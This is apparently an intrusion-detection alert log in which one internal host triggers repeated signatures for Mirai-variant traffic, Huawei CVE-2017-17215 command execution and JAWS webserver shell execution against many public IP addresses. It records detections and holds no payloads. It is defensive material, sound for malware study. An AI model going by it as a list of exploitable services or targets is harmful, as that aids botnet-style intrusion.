2024-12-03T22:12:25.056198+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57240	156.108.21.133	37215	TCP
2024-12-03T22:12:25.071669+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60966	4.95.118.131	80	TCP
2024-12-03T22:12:25.071669+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60966	4.95.118.131	80	TCP
2024-12-03T22:12:25.087222+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35960	13.106.108.132	80	TCP
2024-12-03T22:12:25.087222+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35960	13.106.108.132	80	TCP
2024-12-03T22:12:25.127682+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56680	219.84.17.74	80	TCP
2024-12-03T22:12:25.127682+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56680	219.84.17.74	80	TCP
2024-12-03T22:12:25.134100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51482	41.200.235.178	37215	TCP
2024-12-03T22:12:25.190376+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36326	197.150.194.84	37215	TCP
2024-12-03T22:12:25.221571+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40934	41.174.34.14	37215	TCP
2024-12-03T22:12:26.258936+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49510	156.250.204.207	37215	TCP
2024-12-03T22:12:26.306296+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34626	36.1.241.140	80	TCP
2024-12-03T22:12:26.306296+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34626	36.1.241.140	80	TCP
2024-12-03T22:12:26.306667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59200	197.177.101.101	37215	TCP
2024-12-03T22:12:26.306733+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37166	173.254.164.182	80	TCP
2024-12-03T22:12:26.306733+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37166	173.254.164.182	80	TCP
2024-12-03T22:12:26.306748+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47940	185.20.104.124	80	TCP
2024-12-03T22:12:26.306748+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47940	185.20.104.124	80	TCP
2024-12-03T22:12:26.337242+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38240	35.7.160.19	80	TCP
2024-12-03T22:12:26.337242+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38240	35.7.160.19	80	TCP
2024-12-03T22:12:26.346563+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55408	156.0.115.180	37215	TCP
2024-12-03T22:12:26.363175+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53888	197.23.165.51	37215	TCP
2024-12-03T22:12:26.363511+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58192	45.16.132.235	80	TCP
2024-12-03T22:12:26.363511+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58192	45.16.132.235	80	TCP
2024-12-03T22:12:26.363520+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54172	86.242.194.247	80	TCP
2024-12-03T22:12:26.363520+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54172	86.242.194.247	80	TCP
2024-12-03T22:12:26.441742+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37174	41.23.206.106	37215	TCP
2024-12-03T22:12:26.714781+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60106	74.50.253.149	80	TCP
2024-12-03T22:12:26.714781+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60106	74.50.253.149	80	TCP
2024-12-03T22:12:26.740980+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54772	184.164.68.130	80	TCP
2024-12-03T22:12:26.740980+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54772	184.164.68.130	80	TCP
2024-12-03T22:12:27.009130+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58216	41.168.184.73	37215	TCP
2024-12-03T22:12:27.024710+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49878	197.16.119.151	37215	TCP
2024-12-03T22:12:27.024913+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58758	156.77.226.147	37215	TCP
2024-12-03T22:12:27.024960+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47556	197.206.237.130	37215	TCP
2024-12-03T22:12:27.025085+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44396	156.192.106.69	37215	TCP
2024-12-03T22:12:27.025191+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49512	41.92.117.191	37215	TCP
2024-12-03T22:12:27.025313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37192	156.22.171.221	37215	TCP
2024-12-03T22:12:27.025532+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45020	156.188.110.2	37215	TCP
2024-12-03T22:12:27.025534+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44220	156.48.200.254	37215	TCP
2024-12-03T22:12:27.049793+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49454	156.141.162.16	37215	TCP
2024-12-03T22:12:27.058903+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57484	197.24.167.87	37215	TCP
2024-12-03T22:12:27.059819+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43496	156.102.48.87	37215	TCP
2024-12-03T22:12:27.059878+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45596	41.84.253.55	37215	TCP
2024-12-03T22:12:27.060257+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40564	197.18.151.175	37215	TCP
2024-12-03T22:12:27.060269+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56620	41.248.13.15	37215	TCP
2024-12-03T22:12:27.067012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49576	156.144.134.139	37215	TCP
2024-12-03T22:12:27.067159+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60786	156.52.29.224	37215	TCP
2024-12-03T22:12:27.067174+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47654	41.85.221.128	37215	TCP
2024-12-03T22:12:27.067338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54064	41.115.95.31	37215	TCP
2024-12-03T22:12:27.067987+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40760	197.43.130.27	37215	TCP
2024-12-03T22:12:27.071750+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34410	156.105.187.101	37215	TCP
2024-12-03T22:12:27.072592+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55880	41.100.218.59	37215	TCP
2024-12-03T22:12:27.072808+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59470	41.99.227.204	37215	TCP
2024-12-03T22:12:27.081024+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57100	41.189.153.169	37215	TCP
2024-12-03T22:12:27.081237+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44430	41.39.40.164	37215	TCP
2024-12-03T22:12:27.081485+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37398	41.140.47.137	37215	TCP
2024-12-03T22:12:27.081514+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58512	156.121.228.159	37215	TCP
2024-12-03T22:12:27.081609+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40910	41.99.165.184	37215	TCP
2024-12-03T22:12:27.087198+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37446	156.228.105.29	37215	TCP
2024-12-03T22:12:27.087432+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40246	197.44.22.112	37215	TCP
2024-12-03T22:12:27.096539+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48264	41.25.142.250	37215	TCP
2024-12-03T22:12:27.096862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57184	197.222.193.2	37215	TCP
2024-12-03T22:12:27.097129+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49710	41.95.244.156	37215	TCP
2024-12-03T22:12:27.097133+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49114	41.24.236.53	37215	TCP
2024-12-03T22:12:27.097280+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49436	156.83.126.99	37215	TCP
2024-12-03T22:12:27.097456+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43160	197.149.96.40	37215	TCP
2024-12-03T22:12:27.097650+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45346	156.141.65.64	37215	TCP
2024-12-03T22:12:27.098050+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43882	197.193.22.110	37215	TCP
2024-12-03T22:12:27.274630+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59838	41.139.149.190	37215	TCP
2024-12-03T22:12:27.290982+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60036	197.3.238.120	37215	TCP
2024-12-03T22:12:27.299644+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53444	156.170.122.198	37215	TCP
2024-12-03T22:12:27.299686+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45258	156.45.163.234	37215	TCP
2024-12-03T22:12:27.306125+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48258	197.64.59.51	37215	TCP
2024-12-03T22:12:27.315679+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40624	41.37.102.10	37215	TCP
2024-12-03T22:12:27.315972+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54026	156.27.237.55	37215	TCP
2024-12-03T22:12:27.315974+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35308	41.59.146.14	37215	TCP
2024-12-03T22:12:27.346828+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42254	197.186.98.228	37215	TCP
2024-12-03T22:12:27.347006+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60316	156.5.121.192	37215	TCP
2024-12-03T22:12:27.698667+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35770	23.79.247.80	80	TCP
2024-12-03T22:12:27.698667+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35770	23.79.247.80	80	TCP
2024-12-03T22:12:28.123853+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52984	17.6.230.238	80	TCP
2024-12-03T22:12:28.123853+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52984	17.6.230.238	80	TCP
2024-12-03T22:12:28.212353+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58126	210.76.189.252	80	TCP
2024-12-03T22:12:28.212353+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58126	210.76.189.252	80	TCP
2024-12-03T22:12:28.228174+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57428	67.245.65.44	80	TCP
2024-12-03T22:12:28.228174+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57428	67.245.65.44	80	TCP
2024-12-03T22:12:28.243701+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57704	19.250.116.24	80	TCP
2024-12-03T22:12:28.243701+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57704	19.250.116.24	80	TCP
2024-12-03T22:12:28.259630+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39944	178.154.159.142	80	TCP
2024-12-03T22:12:28.259630+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39944	178.154.159.142	80	TCP
2024-12-03T22:12:28.264350+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45226	178.212.204.97	80	TCP
2024-12-03T22:12:28.264350+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45226	178.212.204.97	80	TCP
2024-12-03T22:12:28.300219+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56262	169.100.244.33	80	TCP
2024-12-03T22:12:28.300219+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56262	169.100.244.33	80	TCP
2024-12-03T22:12:28.425263+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36652	156.241.110.208	37215	TCP
2024-12-03T22:12:29.102964+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43636	206.21.208.222	80	TCP
2024-12-03T22:12:29.102964+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43636	206.21.208.222	80	TCP
2024-12-03T22:12:29.118985+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55164	188.194.32.25	80	TCP
2024-12-03T22:12:29.118985+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55164	188.194.32.25	80	TCP
2024-12-03T22:12:29.134240+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48572	57.7.89.93	80	TCP
2024-12-03T22:12:29.134240+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48572	57.7.89.93	80	TCP
2024-12-03T22:12:29.134455+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53006	36.160.164.90	80	TCP
2024-12-03T22:12:29.134455+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53006	36.160.164.90	80	TCP
2024-12-03T22:12:29.134456+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49790	94.171.209.47	80	TCP
2024-12-03T22:12:29.134456+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49790	94.171.209.47	80	TCP
2024-12-03T22:12:29.143714+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60952	160.244.227.39	80	TCP
2024-12-03T22:12:29.143714+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60952	160.244.227.39	80	TCP
2024-12-03T22:12:29.143939+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44884	89.239.225.204	80	TCP
2024-12-03T22:12:29.143939+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44884	89.239.225.204	80	TCP
2024-12-03T22:12:29.149786+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39198	156.95.185.38	80	TCP
2024-12-03T22:12:29.149786+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39198	156.95.185.38	80	TCP
2024-12-03T22:12:29.165549+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58990	169.246.228.229	80	TCP
2024-12-03T22:12:29.165549+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58990	169.246.228.229	80	TCP
2024-12-03T22:12:29.174687+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33802	118.53.251.121	80	TCP
2024-12-03T22:12:29.174687+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33802	118.53.251.121	80	TCP
2024-12-03T22:12:29.174822+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47232	93.194.117.102	80	TCP
2024-12-03T22:12:29.174822+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47232	93.194.117.102	80	TCP
2024-12-03T22:12:29.174914+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	34108	117.8.135.23	80	TCP
2024-12-03T22:12:29.174914+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	34108	117.8.135.23	80	TCP
2024-12-03T22:12:29.190275+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60312	158.107.194.183	80	TCP
2024-12-03T22:12:29.190275+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60312	158.107.194.183	80	TCP
2024-12-03T22:12:29.190426+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33412	209.172.253.73	80	TCP
2024-12-03T22:12:29.190426+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33412	209.172.253.73	80	TCP
2024-12-03T22:12:29.352923+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38512	201.157.150.46	80	TCP
2024-12-03T22:12:29.352923+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38512	201.157.150.46	80	TCP
2024-12-03T22:12:29.377654+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54974	80.249.153.86	80	TCP
2024-12-03T22:12:29.377654+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54974	80.249.153.86	80	TCP
2024-12-03T22:12:29.384164+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52484	137.249.134.31	80	TCP
2024-12-03T22:12:29.384164+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52484	137.249.134.31	80	TCP
2024-12-03T22:12:29.384336+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60266	136.82.108.29	80	TCP
2024-12-03T22:12:29.384336+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60266	136.82.108.29	80	TCP
2024-12-03T22:12:29.384438+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43582	93.222.143.27	80	TCP
2024-12-03T22:12:29.384438+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43582	93.222.143.27	80	TCP
2024-12-03T22:12:29.384764+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52666	219.2.145.85	80	TCP
2024-12-03T22:12:29.384764+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52666	219.2.145.85	80	TCP
2024-12-03T22:12:29.456143+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37182	158.153.75.94	80	TCP
2024-12-03T22:12:29.456143+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37182	158.153.75.94	80	TCP
2024-12-03T22:12:30.305945+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52264	156.194.218.197	37215	TCP
2024-12-03T22:12:30.393188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39980	41.236.181.83	37215	TCP
2024-12-03T22:12:30.415222+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38908	193.218.11.180	80	TCP
2024-12-03T22:12:30.415222+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38908	193.218.11.180	80	TCP
2024-12-03T22:12:30.440322+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33898	137.112.204.101	80	TCP
2024-12-03T22:12:30.440322+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33898	137.112.204.101	80	TCP
2024-12-03T22:12:30.440587+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46506	18.67.16.74	80	TCP
2024-12-03T22:12:30.440587+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46506	18.67.16.74	80	TCP
2024-12-03T22:12:30.478371+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44478	41.69.190.76	37215	TCP
2024-12-03T22:12:30.502866+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55558	111.194.141.228	80	TCP
2024-12-03T22:12:30.502866+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55558	111.194.141.228	80	TCP
2024-12-03T22:12:30.509012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60224	156.220.199.145	37215	TCP
2024-12-03T22:12:30.518322+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	47444	72.161.232.190	80	TCP
2024-12-03T22:12:30.518322+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	47444	72.161.232.190	80	TCP
2024-12-03T22:12:30.540554+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42860	24.41.43.253	80	TCP
2024-12-03T22:12:30.540554+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42860	24.41.43.253	80	TCP
2024-12-03T22:12:30.549582+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37392	41.148.15.31	80	TCP
2024-12-03T22:12:30.549582+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37392	41.148.15.31	80	TCP
2024-12-03T22:12:30.566822+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55548	70.202.225.54	80	TCP
2024-12-03T22:12:30.566822+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55548	70.202.225.54	80	TCP
2024-12-03T22:12:31.152168+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45964	85.232.3.126	80	TCP
2024-12-03T22:12:31.152168+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45964	85.232.3.126	80	TCP
2024-12-03T22:12:31.243582+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50634	70.241.132.41	80	TCP
2024-12-03T22:12:31.243582+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50634	70.241.132.41	80	TCP
2024-12-03T22:12:31.243919+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51566	146.205.126.187	80	TCP
2024-12-03T22:12:31.243919+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51566	146.205.126.187	80	TCP
2024-12-03T22:12:31.244063+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49292	156.70.40.87	80	TCP
2024-12-03T22:12:31.244063+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49292	156.70.40.87	80	TCP
2024-12-03T22:12:31.259331+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36776	34.14.121.95	80	TCP
2024-12-03T22:12:31.259331+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36776	34.14.121.95	80	TCP
2024-12-03T22:12:31.268703+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55706	68.67.190.55	80	TCP
2024-12-03T22:12:31.268703+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55706	68.67.190.55	80	TCP
2024-12-03T22:12:31.274693+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52204	59.61.108.81	80	TCP
2024-12-03T22:12:31.274693+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52204	59.61.108.81	80	TCP
2024-12-03T22:12:31.283986+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39072	181.5.136.83	80	TCP
2024-12-03T22:12:31.283986+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39072	181.5.136.83	80	TCP
2024-12-03T22:12:31.284255+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48618	2.163.42.137	80	TCP
2024-12-03T22:12:31.284255+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48618	2.163.42.137	80	TCP
2024-12-03T22:12:31.284467+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57938	40.122.120.148	80	TCP
2024-12-03T22:12:31.284467+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57938	40.122.120.148	80	TCP
2024-12-03T22:12:31.284594+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52152	128.220.195.47	80	TCP
2024-12-03T22:12:31.284594+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52152	128.220.195.47	80	TCP
